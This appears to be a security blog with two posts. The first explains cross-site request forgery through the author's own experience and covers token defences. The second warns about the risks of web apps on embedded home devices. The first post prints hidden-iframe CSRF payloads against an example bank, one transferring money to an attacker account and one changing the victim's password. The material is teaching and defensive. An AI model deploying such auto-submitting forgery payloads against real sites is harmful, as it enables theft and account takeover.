My First CSRF

My First Cross-Site Request Forgery Experience

A while back I was sifting through the posts of my friends on one of today’s popular social networking sites when I saw an odd video called “baby elephant giving birth” – or something to that effect – posted by several of my friends. This tingled my security-spidey senses. I knew something wasn’t legit, but I didn’t know exactly what. I decided to get on an old desktop I rarely use to check it out.

This is what happened: I click the link and am warned that I’m leaving the safety of socialnetworksite.com. The video opens in a new tab and begins to play. I close the tab and return to my profile to see that I had now posted “baby elephant giving birth” for all of my friends to see. I was a victim of CSRF.

How This Happened

When I originally logged into socialnetworksite.com, it stored my authenticated session within a cookie, and from then on the site would use that cookie to ensure that I am authorized. When I left socialnetworksite.com and loaded the new page, evilsite.example.com, a piece of script was embedded on the evilsite.example.com page that executed upon loading. That script contained a POST request to socialnetworksite.com that posted the baby elephant video to my profile. Because the POST request is sent from my browser, the server checked my browser’s cookies to make sure that I was authorized to make that request, and I was.

How to Protect Against This Occurring as a Developer

The most common and effective form of CSRF protection is with a randomly generated token that is assigned to the beginning of each session and that expires at the end of the active session. You can also generate and expire CSRF tokens for each POST. Some sites use the Viewstate property in ASP.Net sites, but because a Viewstate just records the input data of a form, you can potentially guess what those inputs would be. Granted that a Viewstate is better than no protection at all, a randomly generated CSRF Token is just as easy to implement and much more effective.

Note: If there is Cross-Site Scripting on the same site, the token used is irrelevant, because the attacker can grab the token from your cookies and make whatever authenticated requests he chooses.

How to Avoid This Occurring as a User

Never click on untrusted or unfamiliar links. Make sure that any sensitive web sites you access – your email, banking accounts, etc. – are done in their own browser and kept separate from any other Web surfing.

For a description of how WhiteHat Security detects CSRF, check out Arian Evan’s blog at https://blog.whitehatsec.com/tag/csrf/.

So even though my example of CRSF was relatively harmless, the attack could have just as easily been directed towards a banking website to transfer money. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.

For transferring money, bigbank.com may have a form that looks something like this on its website:

<form name=”legitForm” action=”/transfer.php” method=”POST”>
<b>From account:<input name="transferFrom" value="" type="text">
<br>To account:<input name="transferTo" value="" type="text">

<br>Amount: <input name=”amount” value=”" type=”text
<span><input name=”transfer” value=”Transfer” type=”submit”></span>

</form>

When you fill out and submit the legitForm, the browser sends a POST request to the server that looks something like this:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

transferFrom=111222&transferTo=111333&amount=1.00&transfer=Transfer

Neither of the previous codes is relevant to the user, but they DO give the attacker the structure to build his own evil POST request containing his account information. The attacker embeds the following code onto his website that you clicked on:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”stealMoney” action=http://bigbank.com/transfer.php method=”POST” target=”hidden”>
<input type=”hidden” name=”transferFrom” value=””> ß——-Problem?
<input type=”hidden” name=”transferTo” value=”555666”>
<input type=”hidden” name=”amount” value=”1000000.00”>
<input type=”hidden” name=”transfer” value=”Transfer”>
</form>
<script>document.stealMoney.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. Not only does it not require any user action other than loading the website; there is also no indication to the user that a request was ever sent.

Now here’s another example, but using a “change password request,” instead. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.  Most likely, bigbank.com’s website will have a “Change User’s Password” form that looks something like this:

<form name=”changePass” action=”/changePassword.php” method=”POST”>
<b>New Password: <input name="newPass" value="" type="text">
<br>Confirm Pasword:<input name="confirmPass" value="" type="text">

<span><input name=”passChange” value=”Change” type=”submit”></span>

</form>

When you fill out and submit the valid changePass form, the browser sends a POST request that will look similar to this to the server:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

newPass=iloveyou&confirmPass=iloveyou&passChange=”Change”

Again, while neither of the previous codes is relevant to the user, they DO give the attacker the structure to build his own evil POST request containing the information he wants to submit. The attacker embeds the following code onto his website that you clicked on; then, when the page loads, the code executes:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”makePassword” action=http://bigbank.com/changePassword.php method=”POST” target=”hidden”>
<input type=”hidden” name=”newPass” value=”Stolen!”>
<input type=”hidden” name=”confirmPass” value=”Stolen!”>
<input type=”hidden” name=”passChange” value=”Change”>
</form>
<script>document.makePassword.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. And, as in the example above, not only is no user action required other than loading the website, there is no indication to the user that a request was ever sent.

The Ubiquitousness of Web apps and the Browsers Who Love Them

Web apps are everywhere. But what are they really? How do they differ from a website? Or do they? I imagine that if we were to ask a hundred different people this question, we would get a hundred different answers.

So I’ll throw in my own definition for the purposes of this post. It makes sense to me, but feel free to disagree and share your thoughts in the comments.

A website exists to relay information. A website may have some dynamic functionality, but it exists mostly to relay information to users. That information can be useful or not (think joke websites, for example :P ), but no website in itself provides an immersive experience. On the other hand, web apps, or web applications, do. They involve the user. They have logic to behave interactively. They provide functionality beyond simply delivering information. Users create information, modify information, share information.

Examples of these powerful applications include Facebook, Google’s Gmail and Calendar, Google Plus, and bulletin boards. Even embedded devices are providing web applications to configure them and monitor them. Firewalls, routers, printers, switches, even VoIP phones are configurable through a browser and have been for years. More and more devices are now including network stacks that in some way or another, speak HTTP.

Mmmmm, the memories. I had such fun abusing these embedded devices back in the good old days. Routers would let me reconfigure them without needing to authenticate. Phones would give me their secrets if I just pointed a browser at them. In 2006, I even found and reported a vulnerability in a popular embedded device. Read more about the vulnerability at ZeroDay Initiative.

A long time ago, a few others and I built a rather popular anti-spam service. It utilized HTTP. Why not? HTTP is cheap. We didn’t have to build custom protocols and all the pain that goes with that. I thought that as powerful and popular and awesome as the service was then, we were abusing HTTP. We were using it for things it was never meant to handle. Today, I see what people are building with HTTP, and I think they are abusing it more than ever. But why shouldn’t they? Everything useful lives on the web anyway. Development is cheap (relatively), because the infrastructure is already there. Custom protocols don’t have to be developed, though some people do build on top of HTTP to provide additional functionality. It’s easy to get users to point a web browser at a pretty web interface. It’s not easy to get users to download and install some untrusted piece of client-based software (well, sometimes. heh). Overall, though, users are generally more willing to browse to a website than they are to load a dedicated program each time. Plus, with the marketing buzz surrounding “the cloud” (as if it didn’t exist before), both users and developers are more willing to deploy a web app that has all the functionality of a desktop app, while also allowing users to interact with one another, to share data, and to keep all of the data generated off of their hard drives. Though data storage is getting cheaper, it’s still fairly expensive for the average consumer. And as data needs increase for consumers, so do their hard drive needs. Therefore, it’s a win/win situation to store data on the Internet (which is, and has always been, the cloud).

I would be remiss if I failed to mention the increasing usage of web browsers. Not only do computers and cell phones have Web browsers, but so do more and more embedded devices. My Wii has a web browser (yes, I’m a proud owner of a Wii :D ); the PlayStation and Xbox have Web browsers; TVs do; and even microwaves, washer/dryers, and refrigerators will soon be available with web browsers, and therefore be “internet-enabled.” To be honest, this both excites and frighten me.

My fear is that these embedded devices will become the central source of information for the digital home. As a society, we are already on information overload. I think it is one thing for the washer/dryer to send an email when they are in need of changing loads. Recipe management or reminders to get food on the refrigerator is pretty nice. But to put video phones, email, and web browsers on these devices? Shouldn’t that be left to the computer? This introduces many exciting things for a member of the offensive security community such as myself, and should instill trepidation in to the average consumer.

Obviously, my focus for this post is on embedded devices. The tech industry has been building and breaking web apps for a few years now; but to me, embedded devices with web apps as well as browsers are largely uncharted territory. This brings to mind the SCADA talk that’s been happening for years now. Sure, there have been successful attacks on a few pieces of SCADA infrastructure over the years, but until fairly recently, there hasn’t been a huge focus on SCADA security, from the good guys or the bad guys.

I want to stop that from happening with consumer devices and open eyes to the potential problems that could happen if we continue down this road unchecked. How bad would it be if a microwave could be controlled by a virus because the browser had a vulnerability on it? How bad would it be if your water heater succumbed to a rootkit because the web app on it was vulnerable to file upload manipulation? Or, how bad would it be if instead of cooling and freezing your food, your refrigerator cooked your food because your next-door neighbor wanted to nose around your unprotected wireless network and thought it’d be funny to break your refrigerator remotely? You might say I’m simply trying to induce a panic. Instead, I like to think I’m getting people to consider the potential risks of allowing such device functionality into their homes before they go out and purchase these appliances and devices.

Are you afraid yet? I don’t mean to cause nightmares, but a serious reality check is intended here.

I get it. These devices that include web apps and browsers on them are going to make our lives easier in many ways. I think it is wonderful to be able to have a refrigerator that can remind me via email that I need to pick up milk on the way home, because it was connected to the Internet and knew (whether by the cool detecting technology that’s on the way or because I told it to remind me) that that particular task needed to be done. My refrigerator is also a sensible – and very useful – place to keep recipe information. Personally, I prefer a centralized server in the home and access it through any of my devices that way, but it’s something.

But if we don’t do something as consumers, this is going to get out of control. More than it is now. I am genuinely afraid of what might happen if someone from a Country of Ill-Repute™ got hold of my toaster over the internet. Maybe you should be too.